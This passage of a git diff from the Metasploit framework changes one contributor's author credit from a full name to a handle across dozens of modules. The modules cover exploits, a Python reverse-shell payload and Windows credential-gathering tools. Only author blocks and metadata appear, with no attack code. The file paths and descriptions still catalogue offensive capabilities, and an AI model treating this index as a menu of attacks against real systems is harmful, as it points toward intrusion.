Metasploit ], 'DisclosureDate' => 'Jan 16 2018', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/juju_run_agent_priv_esc.rb b/modules/exploits/linux/local/juju_run_agent_priv_esc.rb index baf61fb3c2fb..39df6276ad1a 100644 --- a/modules/exploits/linux/local/juju_run_agent_priv_esc.rb +++ b/modules/exploits/linux/local/juju_run_agent_priv_esc.rb @@ -31,7 +31,7 @@ def initialize(info = {}) [ 'Ryan Beisner', # Discovery and PoC 'David Ames (@thedac)', # Discovery and PoC - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Apr 13 2017', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb b/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb index ab27ae11148e..86f1c582890a 100644 --- a/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb +++ b/modules/exploits/linux/local/lastore_daemon_dbus_priv_esc.rb @@ -31,7 +31,7 @@ def initialize(info = {}) 'Author' => [ "King's Way", # Discovery and exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Feb 2 2016', 'References' => diff --git a/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb b/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb index 1398f4a402ea..2ddbe5d935e1 100644 --- a/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb +++ b/modules/exploits/linux/local/libuser_roothelper_priv_esc.rb @@ -49,7 +49,7 @@ def initialize(info = {}) 'Author' => [ 'Qualys', # Discovery and C exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Jul 24 2015', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/network_manager_vpnc_username_priv_esc.rb b/modules/exploits/linux/local/network_manager_vpnc_username_priv_esc.rb index c39856a003e9..154621cfb5d0 100644 --- a/modules/exploits/linux/local/network_manager_vpnc_username_priv_esc.rb +++ b/modules/exploits/linux/local/network_manager_vpnc_username_priv_esc.rb @@ -36,7 +36,7 @@ def initialize(info = {}) 'Author' => [ 'Denis Andzakovic', # Discovery and exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Jul 26 2018', 'References' => diff --git a/modules/exploits/linux/local/rds_priv_esc.rb b/modules/exploits/linux/local/rds_priv_esc.rb index 79d2f962a493..643d9fee4407 100644 --- a/modules/exploits/linux/local/rds_priv_esc.rb +++ b/modules/exploits/linux/local/rds_priv_esc.rb @@ -29,7 +29,7 @@ def initialize(info = {}) 'Author' => [ 'Dan Rosenberg', # Discovery and C exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Oct 20 2010', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/ufo_privilege_escalation.rb b/modules/exploits/linux/local/ufo_privilege_escalation.rb index 58dceb74a7af..a3da0c5adf5a 100644 --- a/modules/exploits/linux/local/ufo_privilege_escalation.rb +++ b/modules/exploits/linux/local/ufo_privilege_escalation.rb @@ -43,7 +43,7 @@ def initialize(info = {}) [ 'Andrey Konovalov', # Discovery and C exploit 'h00die', # Metasploit module - 'Brendan Coles' # Metasploit module + 'bcoles' # Metasploit module ], 'DisclosureDate' => 'Aug 10 2017', 'Platform' => [ 'linux' ], diff --git a/modules/exploits/linux/local/vmware_alsa_config.rb b/modules/exploits/linux/local/vmware_alsa_config.rb index 0aad6cf3d18c..dd26c7065369 100644 --- a/modules/exploits/linux/local/vmware_alsa_config.rb +++ b/modules/exploits/linux/local/vmware_alsa_config.rb @@ -39,7 +39,7 @@ def initialize(info = {}) 'Author' => [ 'Jann Horn', # Discovery and PoC - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'May 22 2017', 'Platform' => 'linux', diff --git a/modules/exploits/linux/misc/asus_infosvr_auth_bypass_exec.rb b/modules/exploits/linux/misc/asus_infosvr_auth_bypass_exec.rb index 6fddd89dfd90..d5df934bbf3d 100644 --- a/modules/exploits/linux/misc/asus_infosvr_auth_bypass_exec.rb +++ b/modules/exploits/linux/misc/asus_infosvr_auth_bypass_exec.rb @@ -28,7 +28,7 @@ def initialize(info = {}) [ 'Friedrich Postelstorfer', # Initial public disclosure and Python exploit 'jduck', # Independent discovery and C exploit - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'License' => MSF_LICENSE, 'Platform' => 'unix', diff --git a/modules/exploits/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.rb b/modules/exploits/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.rb index 257af86a09a5..68cca583f08a 100644 --- a/modules/exploits/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.rb +++ b/modules/exploits/linux/misc/hid_discoveryd_command_blink_on_unauth_rce.rb @@ -24,7 +24,7 @@ def initialize(info = {}) [ 'Ricky "HeadlessZeke" Lawshae', # Discovery 'coldfusion39', # VertXploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'License' => MSF_LICENSE, 'Platform' => 'linux', diff --git a/modules/exploits/linux/misc/qnap_transcode_server.rb b/modules/exploits/linux/misc/qnap_transcode_server.rb index 56ff31331e46..545b6071a62f 100644 --- a/modules/exploits/linux/misc/qnap_transcode_server.rb +++ b/modules/exploits/linux/misc/qnap_transcode_server.rb @@ -25,7 +25,7 @@ def initialize(info = {}) [ 'Zenofex', # Initial vulnerability discovery and PoC '0x00string', # Initial vulnerability discovery and PoC - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'License' => MSF_LICENSE, 'Platform' => 'linux', diff --git a/modules/exploits/linux/samba/is_known_pipename.rb b/modules/exploits/linux/samba/is_known_pipename.rb index 47a251481463..29f33e3ede1d 100644 --- a/modules/exploits/linux/samba/is_known_pipename.rb +++ b/modules/exploits/linux/samba/is_known_pipename.rb @@ -24,7 +24,7 @@ def initialize(info = {}) [ 'steelo ', # Vulnerability Discovery & Python Exploit 'hdm', # Metasploit Module - 'Brendan Coles ', # Check logic + 'bcoles', # Check logic ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/multi/http/cups_bash_env_exec.rb b/modules/exploits/multi/http/cups_bash_env_exec.rb index 7d47a153143d..484ff5c8d201 100644 --- a/modules/exploits/multi/http/cups_bash_env_exec.rb +++ b/modules/exploits/multi/http/cups_bash_env_exec.rb @@ -19,7 +19,7 @@ def initialize(info = {}) 'Author' => [ 'Stephane Chazelas', # Vulnerability discovery 'lcamtuf', # CVE-2014-6278 - 'Brendan Coles ' # msf + 'bcoles' # msf ], 'References' => [ [ 'CVE', '2014-6271' ], diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index d4281285fb8e..de7f0b4c9c13 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -20,7 +20,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Discovery and exploit + 'bcoles' # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb index e2ef5c2c28b3..1c0e70019c12 100644 --- a/modules/exploits/multi/http/extplorer_upload_exec.rb +++ b/modules/exploits/multi/http/extplorer_upload_exec.rb @@ -22,7 +22,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Discovery and exploit + 'bcoles' # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb index c7a162900a06..e24ad2b7651a 100644 --- a/modules/exploits/multi/http/glossword_upload_exec.rb +++ b/modules/exploits/multi/http/glossword_upload_exec.rb @@ -22,7 +22,7 @@ def initialize(info={}) 'Author' => [ 'AkaStep', # Discovery - 'Brendan Coles ' # metasploit exploit + 'bcoles' # metasploit exploit ], 'References' => [ diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index a192a38f3b8c..58e45e9b1350 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -20,7 +20,7 @@ def initialize(info = {}) }, 'Author' => [ - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'License' => MSF_LICENSE, 'DefaultOptions' => diff --git a/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb b/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb index 4ede219c429f..264409d7c6c9 100644 --- a/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb +++ b/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb @@ -30,7 +30,7 @@ def initialize(info = {}) 'Author' => [ 'SecuriTeam', # Discovery and exploit - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb index f166ce5bef74..577460055435 100644 --- a/modules/exploits/multi/http/kordil_edms_upload_exec.rb +++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb @@ -19,7 +19,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Discovery and exploit + 'bcoles' # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/multi/http/processmaker_exec.rb b/modules/exploits/multi/http/processmaker_exec.rb index c7e1023ab43a..21c50132688a 100644 --- a/modules/exploits/multi/http/processmaker_exec.rb +++ b/modules/exploits/multi/http/processmaker_exec.rb @@ -20,7 +20,7 @@ def initialize(info={}) the web interface. }, 'License' => MSF_LICENSE, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ ['OSVDB', '99199'], diff --git a/modules/exploits/multi/http/processmaker_plugin_upload.rb b/modules/exploits/multi/http/processmaker_plugin_upload.rb index 28bbcaf3c634..2d547dac25d6 100644 --- a/modules/exploits/multi/http/processmaker_plugin_upload.rb +++ b/modules/exploits/multi/http/processmaker_plugin_upload.rb @@ -24,7 +24,7 @@ def initialize(info = {}) and version 3.2.0 on Debian Linux 8. }, 'License' => MSF_LICENSE, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ ['URL', 'http://wiki.processmaker.com/3.0/Plugin_Development'] diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 82c885373347..9a6a62ab8fdb 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -21,7 +21,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Discovery and exploit + 'bcoles' # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb b/modules/exploits/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb index b82317f305a2..d938183ed746 100644 --- a/modules/exploits/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb +++ b/modules/exploits/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb @@ -31,7 +31,7 @@ def initialize(info = {}) [ 'Daniel Lawson', # Discovery and exploit 'Romain Trouve', # Discovery and exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Sep 23 2016', 'Platform' => %w(linux solaris), diff --git a/modules/exploits/multi/local/xorg_x11_suid_server.rb b/modules/exploits/multi/local/xorg_x11_suid_server.rb index 5166ba63d4ea..8a37ad5d58cb 100644 --- a/modules/exploits/multi/local/xorg_x11_suid_server.rb +++ b/modules/exploits/multi/local/xorg_x11_suid_server.rb @@ -41,7 +41,7 @@ def initialize(info = {}) 'Narendra Shinde', # Discovery and exploit 'Raptor - 0xdea', # Modified exploit for cron 'Aaron Ringo', # Metasploit module - 'Brendan Coles ' # Metasploit module + 'bcoles' # Metasploit module ], 'DisclosureDate' => 'Oct 25 2018', 'References' => diff --git a/modules/exploits/multi/misc/msf_rpc_console.rb b/modules/exploits/multi/misc/msf_rpc_console.rb index 4176d437812b..b9d65e8e00c1 100644 --- a/modules/exploits/multi/misc/msf_rpc_console.rb +++ b/modules/exploits/multi/misc/msf_rpc_console.rb @@ -24,7 +24,7 @@ def initialize(info = {}) 4.14 on Windows 7 SP1. }, 'License' => MSF_LICENSE, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ [ 'URL', 'https://help.rapid7.com/metasploit/Content/api/rpc/overview.html' ], diff --git a/modules/exploits/qnx/local/ifwatchd_priv_esc.rb b/modules/exploits/qnx/local/ifwatchd_priv_esc.rb index df457c226d72..e084adf784ae 100644 --- a/modules/exploits/qnx/local/ifwatchd_priv_esc.rb +++ b/modules/exploits/qnx/local/ifwatchd_priv_esc.rb @@ -30,7 +30,7 @@ def initialize(info = {}) [ 'cenobyte', # Discovery and exploit 'Tim Brown', # Independent discovery - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/qnx/qconn/qconn_exec.rb b/modules/exploits/qnx/qconn/qconn_exec.rb index c424b6ce42fd..d1ec94207519 100644 --- a/modules/exploits/qnx/qconn/qconn_exec.rb +++ b/modules/exploits/qnx/qconn/qconn_exec.rb @@ -25,7 +25,7 @@ def initialize(info = {}) [ 'David Odell', # Discovery 'Mor!p3r', # PoC - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb b/modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb index 1c83d04441f0..93c8641ce7f2 100644 --- a/modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb +++ b/modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb @@ -53,7 +53,7 @@ def initialize(info = {}) [ 'Shadow Brokers', # exploit 'Hacker Fantastic', # dtappgather-poc.sh - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Apr 24 2017', 'Privileged' => true, diff --git a/modules/exploits/solaris/local/libnspr_nspr_log_file_priv_esc.rb b/modules/exploits/solaris/local/libnspr_nspr_log_file_priv_esc.rb index b4bcd2161f81..cf145c972d8b 100644 --- a/modules/exploits/solaris/local/libnspr_nspr_log_file_priv_esc.rb +++ b/modules/exploits/solaris/local/libnspr_nspr_log_file_priv_esc.rb @@ -51,7 +51,7 @@ def initialize(info = {}) [ 'iDefense', # Discovery 'Marco Ivaldi', # Exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Oct 11 2006', 'Privileged' => true, diff --git a/modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb b/modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb index bed086bab1db..7c08844eab9c 100644 --- a/modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb +++ b/modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb @@ -57,7 +57,7 @@ def initialize(info = {}) 'Author' => [ 'Qualys Corporation', # Stack Clash technique and Solaris_rsh.c exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Jun 19 2017', 'Privileged' => true, diff --git a/modules/exploits/unix/http/dell_kace_k1000_upload.rb b/modules/exploits/unix/http/dell_kace_k1000_upload.rb index 20c64df72d7a..8568a6648ffb 100644 --- a/modules/exploits/unix/http/dell_kace_k1000_upload.rb +++ b/modules/exploits/unix/http/dell_kace_k1000_upload.rb @@ -30,7 +30,7 @@ def initialize(info = {}) 'Author' => [ 'Bradley Austin (steponequit)', # Initial discovery and exploit - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/http/quest_kace_systems_management_rce.rb b/modules/exploits/unix/http/quest_kace_systems_management_rce.rb index 044b5b03cf0e..c60680d74cb1 100644 --- a/modules/exploits/unix/http/quest_kace_systems_management_rce.rb +++ b/modules/exploits/unix/http/quest_kace_systems_management_rce.rb @@ -38,7 +38,7 @@ def initialize(info = {}) [ 'Leandro Barragan', # Discovery and PoC 'Guido Leo', # Discovery and PoC - 'Brendan Coles', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb index c8673e191747..3df5b8df27cb 100644 --- a/modules/exploits/unix/misc/qnx_qconn_exec.rb +++ b/modules/exploits/unix/misc/qnx_qconn_exec.rb @@ -28,7 +28,7 @@ def initialize(info = {}) [ 'David Odell', # Discovery 'Mor!p3r', # PoC - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb index d9706e7bdc5f..e99a449f850c 100644 --- a/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb +++ b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb @@ -23,7 +23,7 @@ def initialize(info = {}) 'Author' => [ 'Benjamin Harris', # Discovery and exploit - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb index 8cf898718c5c..aba01bf514d8 100644 --- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -23,7 +23,7 @@ def initialize(info={}) 'Author' => [ 'x-hayben21', # Discovery and PoC - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb index ce09a7f024ca..a98f29591bbb 100644 --- a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb +++ b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb @@ -24,7 +24,7 @@ def initialize(info = {}) 'Author' => [ 'Pichaya Morimoto', # Discovery and PoC - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/kimai_sqli.rb b/modules/exploits/unix/webapp/kimai_sqli.rb index 77ffe84d371e..3d6c03986aa3 100644 --- a/modules/exploits/unix/webapp/kimai_sqli.rb +++ b/modules/exploits/unix/webapp/kimai_sqli.rb @@ -25,7 +25,7 @@ def initialize(info={}) 'Author' => [ 'drone', # Discovery and PoC - 'Brendan Coles ' # Metasploit module + 'bcoles' # Metasploit module ], 'References' => [ diff --git a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb index 995cc5512742..d8d69a953096 100644 --- a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb +++ b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb @@ -23,7 +23,7 @@ def initialize(info={}) 'Braeden Thomas', # Initial discovery + Piwik PoC 'Gjoko Krstic ', # OpenEMR PoC 'Halim Cruzito', # zonPHP PoC - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb index 7f59dbad8e71..edb4ce78c8ab 100644 --- a/modules/exploits/unix/webapp/opensis_modname_exec.rb +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -22,7 +22,7 @@ def initialize(info={}) 'Author' => [ 'EgiX', # Discovery - 'Brendan Coles ' # msf exploit + 'bcoles' # msf exploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index 7488db411c06..a7a05a00fc2a 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -21,7 +21,7 @@ def initialize(info={}) 'Author' => [ 'AkaStep', # Discovery and PoC - 'Brendan Coles ' # msf exploit + 'bcoles' # msf exploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/projectsend_upload_exec.rb b/modules/exploits/unix/webapp/projectsend_upload_exec.rb index 4f391e6b15f2..b24b70e84d37 100644 --- a/modules/exploits/unix/webapp/projectsend_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectsend_upload_exec.rb @@ -22,7 +22,7 @@ def initialize(info={}) 'Author' => [ 'Fady Mohammed Osman', # Discovery and Exploit - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb index 82e139092b93..c883d1236337 100644 --- a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb +++ b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb @@ -24,7 +24,7 @@ def initialize(info={}) 'Author' => [ 'vinicius777[at]gmail.com', # Auth bypass discovery and PoC, kinda - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb index 2127468fa528..9c5810cd7cee 100644 --- a/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb +++ b/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb @@ -26,7 +26,7 @@ def initialize(info = {}) and 2.13 RC1 on CentOS. }, 'License' => MSF_LICENSE, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ ['URL', 'http://www.vicidial.org/VICIDIALmantis/view.php?id=1016'] diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb index b8ea3208ac55..3a1bc059d8f4 100644 --- a/modules/exploits/unix/webapp/webtester_exec.rb +++ b/modules/exploits/unix/webapp/webtester_exec.rb @@ -20,7 +20,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index 9429626a1024..727e53d79f76 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -28,7 +28,7 @@ def initialize(info={}) ], 'Author' => [ - 'Brendan Coles ', # Discovery and exploit + 'bcoles', # Discovery and exploit ], 'License' => MSF_LICENSE, 'Privileged' => true, diff --git a/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb b/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb index ce0cd38c34d2..e2fd635bbe0c 100644 --- a/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb +++ b/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb @@ -26,7 +26,7 @@ def initialize(info={}) 'Author' => [ 'mr_me ', # vulnerability discovery and exploit - 'Brendan Coles ', # hidden hta tricks! + 'bcoles', # hidden hta tricks! 'sinn3r' # help with msf foo! ], 'References' => diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index b6db16520624..c0b5e4d0082b 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -22,7 +22,7 @@ def initialize(info = {}) 'Author' => [ 'RjRjh Hack3r', # Original discovery and exploit - 'Brendan Coles ' # msf exploit + 'bcoles' # msf exploit ], 'References' => [ diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb index dc3fe7eac51e..7478d8e2b6ad 100644 --- a/modules/exploits/windows/ftp/open_ftpd_wbem.rb +++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb @@ -31,7 +31,7 @@ def initialize(info={}) 'Author' => [ 'Serge Gorbunov', # Initial discovery - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/exploits/windows/http/efs_easychatserver_username.rb b/modules/exploits/windows/http/efs_easychatserver_username.rb index d66d47835a7e..a2ec6fa8d7d1 100644 --- a/modules/exploits/windows/http/efs_easychatserver_username.rb +++ b/modules/exploits/windows/http/efs_easychatserver_username.rb @@ -22,7 +22,7 @@ def initialize(info = {}) 'Author' => [ 'LSO ', # original metasploit - 'Brendan Coles ' # metasploit + 'bcoles' # metasploit ], 'License' => BSD_LICENSE, 'References' => diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb index 6f82fcc6482a..83af98beb27c 100644 --- a/modules/exploits/windows/http/miniweb_upload_wbem.rb +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -30,7 +30,7 @@ def initialize(info={}) 'Author' => [ 'AkaStep', # Initial discovery - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb b/modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb index 00281a42944a..7ee86761567d 100644 --- a/modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb +++ b/modules/exploits/windows/http/serviio_checkstreamurl_cmd_exec.rb @@ -33,7 +33,7 @@ def initialize(info = {}) 'Author' => [ 'Gjoko Krstic(LiquidWorm) ', # Discovery and exploit - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/exploits/windows/misc/hp_imc_dbman_restartdb_unauth_rce.rb b/modules/exploits/windows/misc/hp_imc_dbman_restartdb_unauth_rce.rb index 3b8a79e4418d..9b09ae9985d2 100644 --- a/modules/exploits/windows/misc/hp_imc_dbman_restartdb_unauth_rce.rb +++ b/modules/exploits/windows/misc/hp_imc_dbman_restartdb_unauth_rce.rb @@ -31,7 +31,7 @@ def initialize(info = {}) [ 'sztivi', # Discovery 'Chris Lyne', # Python PoC (@lynerc) - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/windows/misc/hp_imc_dbman_restoredbase_unauth_rce.rb b/modules/exploits/windows/misc/hp_imc_dbman_restoredbase_unauth_rce.rb index 07fd2e1ae41a..fc940a123110 100644 --- a/modules/exploits/windows/misc/hp_imc_dbman_restoredbase_unauth_rce.rb +++ b/modules/exploits/windows/misc/hp_imc_dbman_restoredbase_unauth_rce.rb @@ -31,7 +31,7 @@ def initialize(info = {}) [ 'sztivi', # Discovery 'Chris Lyne', # Python PoC (@lynerc) - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb index ca7a5563305c..8f390a12838b 100644 --- a/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb +++ b/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb @@ -33,7 +33,7 @@ def initialize(info = {}) 'Author' => [ 'Mohamed Shetta ', # Initial discovery and PoC - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/payloads/singles/cmd/unix/reverse_python.rb b/modules/payloads/singles/cmd/unix/reverse_python.rb index 5bd7f1e64cd8..b2e5d4fcc237 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python.rb @@ -19,7 +19,7 @@ def initialize(info = {}) 'Name' => 'Unix Command Shell, Reverse TCP (via Python)', 'Version' => '$Revision: 1 $', 'Description' => 'Connect back and create a command shell via Python', - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/post/windows/gather/credentials/dynazip_log.rb b/modules/post/windows/gather/credentials/dynazip_log.rb index 7f1a74132450..62a98cf7b4c3 100644 --- a/modules/post/windows/gather/credentials/dynazip_log.rb +++ b/modules/post/windows/gather/credentials/dynazip_log.rb @@ -16,7 +16,7 @@ def initialize(info = {}) files in Microsoft Plus! 98 and Windows Me. }, 'License' => MSF_LICENSE, - 'Author' => ['Brendan Coles '], + 'Author' => ['bcoles'], 'References' => [ ['CVE', '2001-0152'], diff --git a/modules/post/windows/gather/credentials/ftpx.rb b/modules/post/windows/gather/credentials/ftpx.rb index ef4c700f5df5..a41837e5f2e5 100644 --- a/modules/post/windows/gather/credentials/ftpx.rb +++ b/modules/post/windows/gather/credentials/ftpx.rb @@ -16,7 +16,7 @@ def initialize(info={}) FTP client for Windows. }, 'License' => MSF_LICENSE, - 'Author' => [ 'Brendan Coles ' ], + 'Author' => [ 'bcoles' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/gather/credentials/smartermail.rb 